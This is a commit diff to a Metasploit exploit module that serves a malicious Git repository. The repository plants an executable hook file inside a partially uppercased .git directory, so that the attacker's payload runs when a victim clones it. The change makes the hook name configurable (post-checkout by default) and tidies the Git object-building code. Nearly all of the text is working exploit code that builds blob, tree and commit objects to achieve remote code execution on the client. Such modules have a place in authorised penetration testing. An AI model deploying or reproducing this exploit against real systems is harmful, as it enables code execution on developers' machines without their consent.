Make malicious hook file name be customizable
parent
7f3cfd2207
commit
308eea0c2c
|
@ -62,7 +62,14 @@ class Metasploit4 < Msf::Exploit::Remote
|
|||
register_options(
|
||||
[
|
||||
OptString.new('URIPATH', [true, 'The URI to use as the malicious Git instance', '/got.git'])
|
||||
])
|
||||
]
|
||||
)
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
OptString.new('GIT_HOOK', [true, 'The Git hook to use for exploitation', 'post-checkout'])
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
def setup
|
||||
|
@ -76,14 +83,14 @@ class Metasploit4 < Msf::Exploit::Remote
|
|||
# .git/hooks/post-checkout and will subsequently execute commands of our
|
||||
# choosing upon cloning
|
||||
@file_paths = {}
|
||||
# build the post-update file blob
|
||||
# build the hook file blob
|
||||
full_cmd = "#!/bin/sh\n#{payload.encoded}"
|
||||
sha1, content = build_object('blob', full_cmd)
|
||||
@file_paths["/objects/#{get_path(sha1)}"] = content
|
||||
# build tree that points to the blob
|
||||
sha1, content = build_object('tree', "100755 post-checkout\0#{[sha1].pack('H*')}")
|
||||
sha1, content = build_object('tree', "100755 #{datastore['GIT_HOOK']}\0#{[sha1].pack('H*')}")
|
||||
@file_paths["/objects/#{get_path(sha1)}"] = content
|
||||
# build a tree that points to the hooks directory in which post-update lives
|
||||
# build a tree that points to the hooks directory in which the hook lives, called hooks
|
||||
sha1, content = build_object('tree', "40000 hooks\0#{[sha1].pack('H*')}")
|
||||
@file_paths["/objects/#{get_path(sha1)}"] = content
|
||||
# build a tree that points to the partially uppercased .git directory in
|
||||
|
@ -120,8 +127,7 @@ class Metasploit4 < Msf::Exploit::Remote
|
|||
vprint_status("Malicious commit is:")
|
||||
commit.each_line { |l| vprint_status(l.strip) }
|
||||
end
|
||||
commit_content = "tree #{sha1}\n#{commit}"
|
||||
sha1, content = build_object('commit', commit_content)
|
||||
sha1, content = build_object('commit', "tree #{sha1}\n#{commit}")
|
||||
@file_paths["/objects/#{get_path(sha1)}"] = content
|
||||
# build HEAD
|
||||
@file_paths['/HEAD'] = "ref: refs/heads/master\n"
|
||||
|
|
Loading…
Reference in New Issue